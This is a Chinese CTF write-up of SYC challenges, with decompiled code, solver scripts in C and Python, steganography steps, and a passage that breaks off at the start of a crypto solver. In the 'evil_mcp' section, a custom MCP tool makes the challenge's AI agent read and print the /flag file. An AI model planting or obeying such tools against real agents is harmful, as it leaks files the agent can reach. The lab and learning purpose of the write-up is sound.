int j; // [esp+418h] [ebp-8A0h]
int i; // [esp+424h] [ebp-894h]
void *lpAddress; // [esp+458h] [ebp-860h]
int v13; // [esp+464h] [ebp-854h] BYREF
int v14; // [esp+468h] [ebp-850h]
int v15; // [esp+46Ch] [ebp-84Ch]
int v16; // [esp+470h] [ebp-848h]
int savedregs; // [esp+CB8h] [ebp+0h] BYREF
VirtualAlloc(0, 0x1000u, 0x3000u, 0x40u);
lpAddress = (void *)sub_AE1186();
if ( lpAddress )
{
memcpy(lpAddress, &unk_AEC260, 0x38u);
for ( i = 0; i < 8; ++i )
*((_BYTE *)lpAddress + i + 2) = sub_AE105A(8 * i, 0);
byte_AEC4E0 = (int (__cdecl *)(_DWORD, _DWORD, _DWORD))lpAddress;
*((_WORD *)&byte_AEC4E0 + 2) = 51;
for ( j = 0; j < 8; ++j )
{
sub_AE10B4(&v13);
if ( sub_AE11DB(&v13, (char *)&unk_AEC040 + 64 * j, dword_AEC240[j]) )
{
sub_AE1091("[!] Wrong\n", v5);
VirtualFree(lpAddress, 0, 0x8000u);
LODWORD(v1) = sub_AE1186();
goto LABEL_12;
}
v9 = v13;
v8 = v14;
v7 = v15;
v6 = v16;
memset(&dword_AEC4E8, 0, 0x28u);
dword_AEC4E8 = v13;
dword_AEC4EC = 0;
dword_AEC4F0 = v14;
dword_AEC4F4 = 0;
dword_AEC4F8 = v15;
dword_AEC4FC = 0;
dword_AEC500 = v16;
dword_AEC504 = 0;
dword_AEC508 = -1;
MK_FP(*((_WORD *)&byte_AEC4E0 + 2), byte_AEC4E0)(v16, v2, 0);
funcs_AE2612[dword_AEC508 & 0xF](a1 + 4 * j, 4, (v8 + v6 * v7) ^ (40503 * v9));
sub_AE1186();
}
VirtualFree(lpAddress, 0, 0x8000u);
LODWORD(v1) = sub_AE1186();
}
else
{
LODWORD(v1) = sub_AE1091("[!] Wrong\n", v5);
}
LABEL_12:
v4 = v1;
sub_AE113B(&savedregs, &dword_AE2674);
return v4;
}
其中加密的重点在于funcs_AE2612
exp
#include<stdio.h>
void fun5(char a1[], int a2){
char v3;
v3 = a1[0];
a1[0] = a1[a2 - 1];
a1[a2 - 1] = v3;
}
void fun1(char a1[], int a2, unsigned int a3){
for(int i = 0;i < a2;i ++){
a1[i] ^= a3 >> (8 * (i % 4));
}
}
void fun13(char a1[], int a2, char a3){
for(int i = a2 - 1;i >= 0;i --){
if(i > 0){
a1[i] ^= a1[i-1];
}
else if(i == 0){
a1[i] ^= a3;
}
}
}
void fun7(char a1[], int a2){
int ra2 = a2 / 2;
char v3;
for(int i = 0;i < ra2;i ++){
v3 = a1[i];
a1[i] = a1[a2 - 1 - i];
a1[a2 - 1 - i] = v3;
}
}
void fun4(char a1[], int a2, unsigned int a3){
for(int i = 0;i < a2;i ++){
a1[i] += a3 >> (8 * (i % 4));
}
}
int main(void){
char c[] = {'5','g',5,'-','t','@','S','1','A','o','b','E','K',31,'W','6','_','K','s','n','O','l','_','I',']',127,63,121,40,-46,'i','~'};
char temp[4];
char flag[32];
for(int i = 0;i < 8;i ++){
for(int j = 0;j < 4;j ++){
temp[j] = c[j + i*4];
}
if(i == 0){
temp[0] = 'S';
temp[1] = 'Y';
temp[2] = 'C';
temp[3] = '{';
}
else if(i == 1){
fun5(temp,4);
}
else if(i == 2){
fun1(temp,4,0x000C5F1E);
}
else if(i == 3){
fun13(temp,4,0x14);
}
else if(i == 4){
fun5(temp,4);
}
else if(i == 5){
fun7(temp,4);
}
else if(i == 6){
fun4(temp,4,0x0020C619);
}
else if(i == 7){
fun1(temp,4,0x03488718);
}
for(int j = 0;j < 4;j ++){
flag[j + i*4] = temp[j];
}
}
for(int i = 0;i < 32;i ++){
printf("%c",flag[i]);
}
}
flag
SYC{1@St_0nE_THanKs_I_lOvE_y0U!}
Misc
evil_mcp
解题流程
这里需要写一个mcp工具让题目的ai读取并打印flag 直接按照模板写就行
exp
from typing import Any
@tool(
name="get_flag",
description="读取并输出flag文件内容",
input_schema={
"type": "object",
"properties": {
"file_path": {
"type": "string",
"description": "flag文件路径,默认为/flag"
}
},
"required": []
}
)
async def get_flag(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
file_path = arguments.get('file_path', '/flag')
try:
with open(file_path, 'r') as f:
flag_content = f.read().strip()
content = (
f"Flag内容: {flag_content}\n"
f"session_id={context.session_id}, invocation_id={context.invocation_id}"
)
return ToolResult(content=content)
except FileNotFoundError:
print("error")
tool = get_flag
Bite off picture
解题流程
得到一个.zip文件,使用010打开并加载zip模板,从文件结尾读到了额外的数据
==gcyV2dyV2d
倒置后解Base64编码得到
werwerr
使用它解压zip,得到一张图片wow.png,但并不包含flag
使用010再打开图片,修改图片大小

flag
SYC{mi3c_13_really_fun!!!!!}
Blockchain SignIn
解题流程
直接打开
0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6
的交易 从输入数据处得到
0x5359437b773362335f67346d335f73743472747d
直接用Cyberchef from hex解
flag
SYC{w3b3_g4m3_st4rt}
hidden
解题流程
拿到docx文件,直接解压,从word/document.xml得到
flag2:MzYyZ2V5ZGd3dW5rZHdlZQ==
解Base64得到
362geydgwunkdwee
最后一张图片无法打开,使用010检查,发现文件头损坏,补上即可

flag
SYC{adasd362geydgwunkdweesjdmd}
CRDT
解题流程
下载得到一份CRDT记录,直接按照顺序操作一一遍就行, 但直接徒手操作太不健康了,所以选择使用py辅助
exp
import json
from collections import defaultdict, deque
log_data = """
[
{
"op": "ins",
"id": "A:1",
"parent": "HEAD",
"ch": "S",
"site": "A",
"ctr": 1
},
{
"op": "del",
"id": "B:48"
},
{
"op": "del",
"id": "C:15"
},
{
"op": "del",
"id": "B:35"
},
{
"op": "ins",
"id": "A:41",
"parent": "B:1",
"ch": "i",
"site": "A",
"ctr": 41
},
{
"op": "del",
"id": "C:13"
},
{
"op": "del",
"id": "A:54"
},
{
"op": "del",
"id": "A:39"
},
{
"op": "ins",
"id": "A:43",
"parent": "C:2",
"ch": "☆",
"site": "A",
"ctr": 43
},
{
"op": "del",
"id": "B:24"
},
{
"op": "del",
"id": "A:30"
},
{
"op": "ins",
"id": "A:29",
"parent": "C:10",
"ch": "Y",
"site": "A",
"ctr": 29
},
{
"op": "ins",
"id": "A:38",
"parent": "B:8",
"ch": "b",
"site": "A",
"ctr": 38
},
{
"op": "del",
"id": "A:48"
},
{
"op": "ins",
"id": "A:17",
"parent": "A:7",
"ch": "4",
"site": "A",
"ctr": 17
},
{
"op": "ins",
"id": "C:27",
"parent": "B:11",
"ch": "Y",
"site": "C",
"ctr": 27
},
{
"op": "del",
"id": "B:56"
},
{
"op": "ins",
"id": "A:47",
"parent": "B:5",
"ch": "t",
"site": "A",
"ctr": 47
},
{
"op": "del",
"id": "B:51"
},
{
"op": "del",
"id": "C:28"
},
{
"op": "del",
"id": "B:18"
},
{
"op": "del",
"id": "B:34"
},
{
"op": "ins",
"id": "B:8",
"parent": "A:8",
"ch": "_",
"site": "B",
"ctr": 8
},
{
"op": "del",
"id": "B:47"
},
{
"op": "ins",
"id": "B:14",
"parent": "B:6",
"ch": "f",
"site": "B",
"ctr": 14
},
{
"op": "del",
"id": "A:13"
},
{
"op": "ins",
"id": "A:5",
"parent": "C:4",
"ch": "_",
"site": "A",
"ctr": 5
},
{
"op": "ins",
"id": "A:31",
"parent": "B:8",
"ch": "A",
"site": "A",
"ctr": 31
},
{
"op": "ins",
"id": "C:20",
"parent": "C:9",
"ch": "4",
"site": "C",
"ctr": 20
},
{
"op": "ins",
"id": "B:10",
"parent": "A:10",
"ch": "_",
"site": "B",
"ctr": 10
},
{
"op": "del",
"id": "C:26"
},
{
"op": "del",
"id": "B:14"
},
{
"op": "del",
"id": "B:32"
},
{
"op": "ins",
"id": "C:41",
"parent": "C:5",
"ch": "_",
"site": "C",
"ctr": 41
},
{
"op": "ins",
"id": "B:28",
"parent": "B:4",
"ch": "m",
"site": "B",
"ctr": 28
},
{
"op": "ins",
"id": "B:44",
"parent": "B:4",
"ch": "I",
"site": "B",
"ctr": 44
},
{
"op": "ins",
"id": "A:11",
"parent": "C:10",
"ch": "A",
"site": "A",
"ctr": 11
},
{
"op": "del",
"id": "B:56"
},
{
"op": "del",
"id": "A:33"
},
{
"op": "del",
"id": "B:52"
},
{
"op": "ins",
"id": "A:52",
"parent": "A:2",
"ch": "≈",
"site": "A",
"ctr": 52
},
{
"op": "ins",
"id": "C:19",
"parent": "B:11",
"ch": "Q",
"site": "C",
"ctr": 19
},
{
"op": "ins",
"id": "C:17",
"parent": "C:8",
"ch": "x",
"site": "C",
"ctr": 17
},
{
"op": "ins",
"id": "C:28",
"parent": "C:4",
"ch": "1",
"site": "C",
"ctr": 28
},
{
"op": "del",
"id": "A:47"
},
{
"op": "ins",
"id": "B:13",
"parent": "C:2",
"ch": "b",
"site": "B",
"ctr": 13
},
{
"op": "del",
"id": "B:12"
},
{
"op": "ins",
"id": "C:1",
"parent": "B:1",
"ch": "C",
"site": "C",
"ctr": 1
},
{
"op": "del",
"id": "A:44"
},
{
"op": "del",
"id": "B:15"
},
{
"op": "del",
"id": "B:53"
},
{
"op": "ins",
"id": "A:32",
"parent": "C:8",
"ch": "P",
"site": "A",
"ctr": 32
},
{
"op": "del",
"id": "C:40"
},
{
"op": "del",
"id": "B:42"
},
{
"op": "ins",
"id": "C:36",
"parent": "C:6",
"ch": "p",
"site": "C",
"ctr": 36
},
{
"op": "del",
"id": "A:25"
},
{
"op": "ins",
"id": "A:3",
"parent": "C:2",
"ch": "D",
"site": "A",
"ctr": 3
},
{
"op": "del",
"id": "C:24"
},
{
"op": "del",
"id": "B:28"
},
{
"op": "ins",
"id": "B:23",
"parent": "A:12",
"ch": "★",
"site": "B",
"ctr": 23
},
{
"op": "del",
"id": "A:15"
},
{
"op": "ins",
"id": "A:35",
"parent": "C:9",
"ch": "R",
"site": "A",
"ctr": 35
},
{
"op": "ins",
"id": "B:42",
"parent": "B:8",
"ch": "8",
"site": "B",
"ctr": 42
},
{
"op": "del",
"id": "C:12"
},
{
"op": "del",
"id": "C:23"
},
{
"op": "del",
"id": "A:17"
},
{
"op": "ins",
"id": "A:51",
"parent": "C:9",
"ch": "3",
"site": "A",
"ctr": 51
},
{
"op": "ins",
"id": "A:55",
"parent": "A:12",
"ch": "6",
"site": "A",
"ctr": 55
},
{
"op": "del",
"id": "C:38"
},
{
"op": "del",
"id": "B:33"
},
{
"op": "ins",
"id": "A:30",
"parent": "C:6",
"ch": "←",
"site": "A",
"ctr": 30
},
{
"op": "ins",
"id": "B:9",
"parent": "A:9",
"ch": "_",
"site": "B",
"ctr": 9
},
{
"op": "ins",
"id": "A:4",
"parent": "C:3",
"ch": "R",
"site": "A",
"ctr": 4
},
{
"op": "ins",
"id": "B:51",
"parent": "B:10",
"ch": "U",
"site": "B",
"ctr": 51
},
{
"op": "ins",
"id": "C:21",
"parent": "A:3",
"ch": "a",
"site": "C",
"ctr": 21
},
{
"op": "ins",
"id": "B:29",
"parent": "A:11",
"ch": "s",
"site": "B",
"ctr": 29
},
{
"op": "ins",
"id": "C:9",
"parent": "B:9",
"ch": "S",
"site": "C",
"ctr": 9
},
{
"op": "del",
"id": "B:37"
},
{
"op": "ins",
"id": "A:33",
"parent": "B:8",
"ch": "b",
"site": "A",
"ctr": 33
},
{
"op": "del",
"id": "B:50"
},
{
"op": "ins",
"id": "A:50",
"parent": "A:7",
"ch": "1",
"site": "A",
"ctr": 50
},
{
"op": "ins",
"id": "B:4",
"parent": "A:4",
"ch": "G",
"site": "B",
"ctr": 4
},
{
"op": "del",
"id": "B:16"
},
{
"op": "ins",
"id": "B:52",
"parent": "C:2",
"ch": "/",
"site": "B",
"ctr": 52
},
{
"op": "del",
"id": "A:14"
},
{
"op": "del",
"id": "B:27"
},
{
"op": "ins",
"id": "C:40",
"parent": "C:5",
"ch": "J",
"site": "C",
"ctr": 40
},
{
"op": "ins",
"id": "A:23",
"parent": "C:3",
"ch": "❌",
"site": "A",
"ctr": 23
},
{
"op": "ins",
"id": "B:15",
"parent": "B:5",
"ch": "C",
"site": "B",
"ctr": 15
},
{
"op": "del",
"id": "B:44"
},
{
"op": "del",
"id": "B:26"
},
{
"op": "del",
"id": "B:43"
},
{
"op": "ins",
"id": "A:39",
"parent": "C:2",
"ch": "y",
"site": "A",
"ctr": 39
},
{
"op": "del",
"id": "B:21"
},
{
"op": "ins",
"id": "B:25",
"parent": "C:6",
"ch": "f",
"site": "B",
"ctr": 25
},
{
"op": "ins",
"id": "A:21",
"parent": "C:6",
"ch": "n",
"site": "A",
"ctr": 21
},
{
"op": "del",
"id": "C:17"
},
{
"op": "ins",
"id": "A:35",
"parent": "C:9",
"ch": "R",
"site": "A",
"ctr": 35
},
{
"op": "del",
"id": "A:46"
},
{
"op": "del",
"id": "A:34"
},
{
"op": "del",
"id": "A:19"
},
{
"op": "ins",
"id": "B:11",
"parent": "A:11",
"ch": "S",
"site": "B",
"ctr": 11
},
{
"op": "ins",
"id": "A:1",
"parent": "HEAD",
"ch": "S",
"site": "A",
"ctr": 1
},
{
"op": "ins",
"id": "B:2",
"parent": "A:2",
"ch": "C",
"site": "B",
"ctr": 2
},
{
"op": "ins",
"id": "A:6",
"parent": "C:5",
"ch": "A",
"site": "A",
"ctr": 6
},
{
"op": "ins",
"id": "A:9",
"parent": "C:8",
"ch": "S",
"site": "A",
"ctr": 9
},
{
"op": "ins",
"id": "A:24",
"parent": "HEAD",
"ch": "H",
"site": "A",
"ctr": 24
},
{
"op": "del",
"id": "B:39"
},
{
"op": "ins",
"id": "C:25",
"parent": "B:2",
"ch": "9",
"site": "C",
"ctr": 25
},
{
"op": "ins",
"id": "C:14",
"parent": "B:9",
"ch": "2",
"site": "C",
"ctr": 14
},
{
"op": "del",
"id": "C:37"
},
{
"op": "del",
"id": "C:36"
},
{
"op": "del",
"id": "A:28"
},
{
"op": "ins",
"id": "B:50",
"parent": "B:4",
"ch": "n",
"site": "B",
"ctr": 50
},
{
"op": "ins",
"id": "B:24",
"parent": "A:3",
"ch": "B",
"site": "B",
"ctr": 24
},
{
"op": "del",
"id": "A:51"
},
{
"op": "del",
"id": "A:29"
},
{
"op": "ins",
"id": "A:16",
"parent": "C:1",
"ch": "D",
"site": "A",
"ctr": 16
},
{
"op": "ins",
"id": "A:45",
"parent": "A:12",
"ch": "j",
"site": "A",
"ctr": 45
},
{
"op": "del",
"id": "B:22"
},
{
"op": "del",
"id": "A:57"
},
{
"op": "ins",
"id": "C:2",
"parent": "B:2",
"ch": "R",
"site": "C",
"ctr": 2
},
{
"op": "del",
"id": "C:12"
},
{
"op": "ins",
"id": "B:43",
"parent": "B:5",
"ch": "l",
"site": "B",
"ctr": 43
},
{
"op": "ins",
"id": "A:8",
"parent": "C:7",
"ch": "E",
"site": "A",
"ctr": 8
},
{
"op": "ins",
"id": "A:22",
"parent": "B:4",
"ch": "S",
"site": "A",
"ctr": 22
},
{
"op": "ins",
"id": "B:33",
"parent": "C:7",
"ch": "l",
"site": "B",
"ctr": 33
},
{
"op": "del",
"id": "C:21"
},
{
"op": "del",
"id": "C:39"
},
{
"op": "del",
"id": "C:20"
},
{
"op": "ins",
"id": "B:56",
"parent": "B:4",
"ch": "_",
"site": "B",
"ctr": 56
},
{
"op": "del",
"id": "B:55"
},
{
"op": "ins",
"id": "C:26",
"parent": "A:1",
"ch": "m",
"site": "C",
"ctr": 26
},
{
"op": "ins",
"id": "B:16",
"parent": "B:6",
"ch": "j",
"site": "B",
"ctr": 16
},
{
"op": "ins",
"id": "A:19",
"parent": "A:3",
"ch": "9",
"site": "A",
"ctr": 19
},
{
"op": "ins",
"id": "A:33",
"parent": "B:8",
"ch": "b",
"site": "A",
"ctr": 33
},
{
"op": "ins",
"id": "C:15",
"parent": "A:8",
"ch": "y",
"site": "C",
"ctr": 15
},
{
"op": "ins",
"id": "A:26",
"parent": "A:9",
"ch": "4",
"site": "A",
"ctr": 26
},
{
"op": "ins",
"id": "B:45",
"parent": "A:8",
"ch": "A",
"site": "B",
"ctr": 45
},
{
"op": "ins",
"id": "C:18",
"parent": "A:5",
"ch": "M",
"site": "C",
"ctr": 18
},
{
"op": "ins",
"id": "B:49",
"parent": "B:1",
"ch": "4",
"site": "B",
"ctr": 49
},
{
"op": "del",
"id": "B:46"
},
{
"op": "ins",
"id": "A:13",
"parent": "C:5",
"ch": "7",
"site": "A",
"ctr": 13
},
{
"op": "del",
"id": "C:30"
},
{
"op": "del",
"id": "A:23"
},
{
"op": "del",
"id": "A:40"
},
{
"op": "ins",
"id": "C:38",
"parent": "C:2",
"ch": "K",
"site": "C",
"ctr": 38
},
{
"op": "ins",
"id": "A:27",
"parent": "B:9",
"ch": "#",
"site": "A",
"ctr": 27
},
{
"op": "del",
"id": "A:44"
},
{
"op": "ins",
"id": "B:46",
"parent": "B:8",
"ch": "W",
"site": "B",
"ctr": 46
},
{
"op": "del",
"id": "B:25"
},
{
"op": "ins",
"id": "A:37",
"parent": "B:3",
"ch": "r",
"site": "A",
"ctr": 37
},
{
"op": "del",
"id": "C:16"
},
{
"op": "ins",
"id": "A:14",
"parent": "B:2",
"ch": "f",
"site": "A",
"ctr": 14
},
{
"op": "del",
"id": "A:49"
},
{
"op": "ins",
"id": "B:12",
"parent": "A:7",
"ch": "☆",
"site": "B",
"ctr": 12
},
{
"op": "ins",
"id": "C:34",
"parent": "A:10",
"ch": "t",
"site": "C",
"ctr": 34
},
{
"op": "ins",
"id": "B:38",
"parent": "A:1",
"ch": "u",
"site": "B",
"ctr": 38
},
{
"op": "del",
"id": "A:27"
},
{
"op": "del",
"id": "C:32"
},
{
"op": "ins",
"id": "A:20",
"parent": "A:1",
"ch": "A",
"site": "A",
"ctr": 20
},
{
"op": "ins",
"id": "B:22",
"parent": "B:1",
"ch": "S",
"site": "B",
"ctr": 22
},
{
"op": "del",
"id": "A:43"
},
{
"op": "ins",
"id": "A:18",
"parent": "B:9",
"ch": "w",
"site": "A",
"ctr": 18
},
{
"op": "ins",
"id": "A:48",
"parent": "C:8",
"ch": "d",
"site": "A",
"ctr": 48
},
{
"op": "del",
"id": "C:32"
},
{
"op": "del",
"id": "C:34"
},
{
"op": "del",
"id": "C:22"
},
{
"op": "ins",
"id": "B:44",
"parent": "B:4",
"ch": "I",
"site": "B",
"ctr": 44
},
{
"op": "ins",
"id": "B:5",
"parent": "A:5",
"ch": "C",
"site": "B",
"ctr": 5
},
{
"op": "del",
"id": "C:27"
},
{
"op": "del",
"id": "C:20"
},
{
"op": "ins",
"id": "A:15",
"parent": "C:6",
"ch": "#",
"site": "A",
"ctr": 15
},
{
"op": "ins",
"id": "C:29",
"parent": "C:9",
"ch": "U",
"site": "C",
"ctr": 29
},
{
"op": "ins",
"id": "C:24",
"parent": "C:9",
"ch": "k",
"site": "C",
"ctr": 24
},
{
"op": "ins",
"id": "A:12",
"parent": "C:11",
"ch": "}",
"site": "A",
"ctr": 12
},
{
"op": "del",
"id": "A:26"
},
{
"op": "ins",
"id": "B:36",
"parent": "C:6",
"ch": "T",
"site": "B",
"ctr": 36
},
{
"op": "del",
"id": "A:52"
},
{
"op": "ins",
"id": "A:40",
"parent": "C:2",
"ch": "_",
"site": "A",
"ctr": 40
},
{
"op": "ins",
"id": "C:7",
"parent": "B:7",
"ch": "G",
"site": "C",
"ctr": 7
},
{
"op": "del",
"id": "A:32"
},
{
"op": "del",
"id": "A:53"
},
{
"op": "del",
"id": "A:31"
},
{
"op": "del",
"id": "B:29"
},
{
"op": "del",
"id": "A:56"
},
{
"op": "ins",
"id": "C:10",
"parent": "B:10",
"ch": "E",
"site": "C",
"ctr": 10
},
{
"op": "ins",
"id": "A:49",
"parent": "A:7",
"ch": "z",
"site": "A",
"ctr": 49
},
{
"op": "del",
"id": "A:24"
},
{
"op": "del",
"id": "A:41"
},
{
"op": "ins",
"id": "B:37",
"parent": "B:3",
"ch": "B",
"site": "B",
"ctr": 37
},
{
"op": "ins",
"id": "A:10",
"parent": "C:9",
"ch": "O",
"site": "A",
"ctr": 10
},
{
"op": "ins",
"id": "B:7",
"parent": "A:7",
"ch": "N",
"site": "B",
"ctr": 7
},
{
"op": "del",
"id": "B:13"
},
{
"op": "ins",
"id": "B:17",
"parent": "B:8",
"ch": "P",
"site": "B",
"ctr": 17
},
{
"op": "del",
"id": "A:37"
},
{
"op": "ins",
"id": "B:41",
"parent": "B:8",
"ch": "A",
"site": "B",
"ctr": 41
},
{
"op": "ins",
"id": "A:36",
"parent": "B:5",
"ch": "c",
"site": "A",
"ctr": 36
},
{
"op": "del",
"id": "A:38"
},
{
"op": "ins",
"id": "B:19",
"parent": "B:9",
"ch": "6",
"site": "B",
"ctr": 19
},
{
"op": "ins",
"id": "A:44",
"parent": "C:6",
"ch": "≈",
"site": "A",
"ctr": 44
},
{
"op": "del",
"id": "B:54"
},
{
"op": "del",
"id": "C:35"
},
{
"op": "del",
"id": "B:49"
},
{
"op": "del",
"id": "B:29"
},
{
"op": "del",
"id": "C:41"
},
{
"op": "ins",
"id": "A:17",
"parent": "A:7",
"ch": "4",
"site": "A",
"ctr": 17
},
{
"op": "del",
"id": "A:16"
},
{
"op": "ins",
"id": "A:54",
"parent": "C:6",
"ch": "H",
"site": "A",
"ctr": 54
},
{
"op": "ins",
"id": "C:37",
"parent": "A:11",
"ch": "i",
"site": "C",
"ctr": 37
},
{
"op": "ins",
"id": "B:33",
"parent": "C:7",
"ch": "l",
"site": "B",
"ctr": 33
},
{
"op": "ins",
"id": "A:56",
"parent": "A:10",
"ch": "≈",
"site": "A",
"ctr": 56
},
{
"op": "ins",
"id": "A:31",
"parent": "B:8",
"ch": "A",
"site": "A",
"ctr": 31
},
{
"op": "ins",
"id": "C:30",
"parent": "B:5",
"ch": "_",
"site": "C",
"ctr": 30
},
{
"op": "del",
"id": "B:19"
},
{
"op": "ins",
"id": "B:17",
"parent": "B:8",
"ch": "P",
"site": "B",
"ctr": 17
},
{
"op": "ins",
"id": "B:39",
"parent": "A:7",
"ch": "→",
"site": "B",
"ctr": 39
},
{
"op": "ins",
"id": "A:46",
"parent": "B:6",
"ch": "G",
"site": "A",
"ctr": 46
},
{
"op": "ins",
"id": "B:47",
"parent": "A:3",
"ch": "P",
"site": "B",
"ctr": 47
},
{
"op": "ins",
"id": "C:3",
"parent": "B:3",
"ch": "_",
"site": "C",
"ctr": 3
},
{
"op": "ins",
"id": "A:53",
"parent": "A:6",
"ch": "L",
"site": "A",
"ctr": 53
},
{
"op": "ins",
"id": "B:18",
"parent": "C:5",
"ch": "4",
"site": "B",
"ctr": 18
},
{
"op": "del",
"id": "B:41"
},
{
"op": "del",
"id": "C:31"
},
{
"op": "del",
"id": "C:33"
},
{
"op": "del",
"id": "B:31"
},
{
"op": "ins",
"id": "C:11",
"parent": "B:11",
"ch": "Y",
"site": "C",
"ctr": 11
},
{
"op": "ins",
"id": "A:7",
"parent": "C:6",
"ch": "E",
"site": "A",
"ctr": 7
},
{
"op": "ins",
"id": "B:40",
"parent": "B:11",
"ch": "q",
"site": "B",
"ctr": 40
},
{
"op": "del",
"id": "A:20"
},
{
"op": "ins",
"id": "C:12",
"parent": "A:7",
"ch": "3",
"site": "C",
"ctr": 12
},
{
"op": "ins",
"id": "C:3",
"parent": "B:3",
"ch": "_",
"site": "C",
"ctr": 3
},
{
"op": "ins",
"id": "B:55",
"parent": "B:1",
"ch": "p",
"site": "B",
"ctr": 55
},
{
"op": "del",
"id": "C:25"
},
{
"op": "ins",
"id": "A:34",
"parent": "C:5",
"ch": "4",
"site": "A",
"ctr": 34
},
{
"op": "del",
"id": "B:30"
},
{
"op": "del",
"id": "A:21"
},
{
"op": "del",
"id": "B:38"
},
{
"op": "del",
"id": "B:33"
},
{
"op": "ins",
"id": "C:22",
"parent": "C:5",
"ch": "M",
"site": "C",
"ctr": 22
},
{
"op": "ins",
"id": "C:23",
"parent": "A:9",
"ch": "j",
"site": "C",
"ctr": 23
},
{
"op": "ins",
"id": "B:48",
"parent": "C:1",
"ch": "v",
"site": "B",
"ctr": 48
},
{
"op": "ins",
"id": "B:31",
"parent": "B:2",
"ch": "O",
"site": "B",
"ctr": 31
},
{
"op": "ins",
"id": "A:28",
"parent": "HEAD",
"ch": "M",
"site": "A",
"ctr": 28
},
{
"op": "del",
"id": "A:55"
},
{
"op": "del",
"id": "A:42"
},
{
"op": "ins",
"id": "B:27",
"parent": "C:4",
"ch": "0",
"site": "B",
"ctr": 27
},
{
"op": "ins",
"id": "A:50",
"parent": "A:7",
"ch": "1",
"site": "A",
"ctr": 50
},
{
"op": "ins",
"id": "C:16",
"parent": "C:1",
"ch": "K",
"site": "C",
"ctr": 16
},
{
"op": "ins",
"id": "C:6",
"parent": "B:6",
"ch": "L",
"site": "C",
"ctr": 6
},
{
"op": "ins",
"id": "A:25",
"parent": "C:6",
"ch": "n",
"site": "A",
"ctr": 25
},
{
"op": "ins",
"id": "B:34",
"parent": "C:1",
"ch": "f",
"site": "B",
"ctr": 34
},
{
"op": "del",
"id": "C:18"
},
{
"op": "del",
"id": "A:36"
},
{
"op": "ins",
"id": "B:1",
"parent": "A:1",
"ch": "Y",
"site": "B",
"ctr": 1
},
{
"op": "ins",
"id": "B:6",
"parent": "A:6",
"ch": "L",
"site": "B",
"ctr": 6
},
{
"op": "del",
"id": "C:14"
},
{
"op": "ins",
"id": "B:3",
"parent": "A:3",
"ch": "T",
"site": "B",
"ctr": 3
},
{
"op": "del",
"id": "A:50"
},
{
"op": "del",
"id": "B:20"
},
{
"op": "ins",
"id": "A:52",
"parent": "A:2",
"ch": "≈",
"site": "A",
"ctr": 52
},
{
"op": "del",
"id": "A:35"
},
{
"op": "ins",
"id": "B:30",
"parent": "A:9",
"ch": "★",
"site": "B",
"ctr": 30
},
{
"op": "ins",
"id": "C:5",
"parent": "B:5",
"ch": "H",
"site": "C",
"ctr": 5
},
{
"op": "del",
"id": "C:19"
},
{
"op": "ins",
"id": "C:8",
"parent": "B:8",
"ch": "I",
"site": "C",
"ctr": 8
},
{
"op": "ins",
"id": "A:2",
"parent": "C:1",
"ch": "{",
"site": "A",
"ctr": 2
},
{
"op": "ins",
"id": "B:54",
"parent": "B:8",
"ch": "Z",
"site": "B",
"ctr": 54
},
{
"op": "ins",
"id": "B:21",
"parent": "A:10",
"ch": "R",
"site": "B",
"ctr": 21
},
{
"op": "del",
"id": "B:17"
},
{
"op": "ins",
"id": "C:4",
"parent": "B:4",
"ch": "A",
"site": "C",
"ctr": 4
},
{
"op": "del",
"id": "C:29"
},
{
"op": "ins",
"id": "A:57",
"parent": "B:5",
"ch": "i",
"site": "A",
"ctr": 57
},
{
"op": "ins",
"id": "C:32",
"parent": "A:2",
"ch": "E",
"site": "C",
"ctr": 32
},
{
"op": "ins",
"id": "C:38",
"parent": "C:2",
"ch": "K",
"site": "C",
"ctr": 38
},
{
"op": "del",
"id": "B:45"
},
{
"op": "ins",
"id": "C:33",
"parent": "A:6",
"ch": "★",
"site": "C",
"ctr": 33
},
{
"op": "del",
"id": "B:36"
},
{
"op": "ins",
"id": "C:17",
"parent": "C:8",
"ch": "x",
"site": "C",
"ctr": 17
},
{
"op": "del",
"id": "A:45"
},
{
"op": "ins",
"id": "B:53",
"parent": "HEAD",
"ch": "E",
"site": "B",
"ctr": 53
},
{
"op": "ins",
"id": "B:32",
"parent": "A:2",
"ch": "Z",
"site": "B",
"ctr": 32
},
{
"op": "del",
"id": "C:36"
},
{
"op": "del",
"id": "A:18"
},
{
"op": "ins",
"id": "B:35",
"parent": "A:9",
"ch": "C",
"site": "B",
"ctr": 35
},
{
"op": "ins",
"id": "C:13",
"parent": "C:4",
"ch": "@",
"site": "C",
"ctr": 13
},
{
"op": "ins",
"id": "C:39",
"parent": "A:9",
"ch": "❌",
"site": "C",
"ctr": 39
},
{
"op": "ins",
"id": "C:31",
"parent": "C:7",
"ch": "D",
"site": "C",
"ctr": 31
},
{
"op": "ins",
"id": "B:26",
"parent": "C:6",
"ch": "★",
"site": "B",
"ctr": 26
},
{
"op": "ins",
"id": "A:42",
"parent": "B:4",
"ch": "w",
"site": "A",
"ctr": 42
},
{
"op": "del",
"id": "B:40"
},
{
"op": "ins",
"id": "B:20",
"parent": "B:4",
"ch": "9",
"site": "B",
"ctr": 20
},
{
"op": "del",
"id": "B:23"
},
{
"op": "del",
"id": "A:22"
},
{
"op": "ins",
"id": "C:35",
"parent": "B:10",
"ch": "v",
"site": "C",
"ctr": 35
}
]
"""
ops = json.loads(log_data)
nodes = {}
children = defaultdict(list)
deleted = set()
for op in ops:
if op["op"] == "ins":
node_id = op["id"]
parent = op["parent"]
ch = op["ch"]
nodes[node_id] = {"ch": ch, "parent": parent}
children[parent].append(node_id)
elif op["op"] == "del":
deleted.add(op["id"])
def traverse(node_id):
result = ""
for child in sorted(children.get(node_id, [])):
if child not in deleted:
result += nodes[child]["ch"] + traverse(child)
return result
final_text = traverse("HEAD")
print("Output:")
print(final_text)
flag
SYC{CRDT_RGA_CHALLENGE_IS_SO_EASY}
monitoring
解题记录
同一张二维码两个不同的方向扭曲
因为直接用ps调图片搞不出来,干脆直接重新画一张了,首先这是29*29的二维码
flag
SYC{shi_tte_ru_yo}
Crypto
ez_xor
解题记录
已知 N = p * q * s * r n = p * q gift = p ^ q gift1 = s & r gift2=s^r p和q可以用factordb分解 计算 s + r,解二次方程 x^2 - A*x + s_r = 0,算出phi和e即可
exp
from math import isqrt
from Crypto.Util.number import long_to_bytes
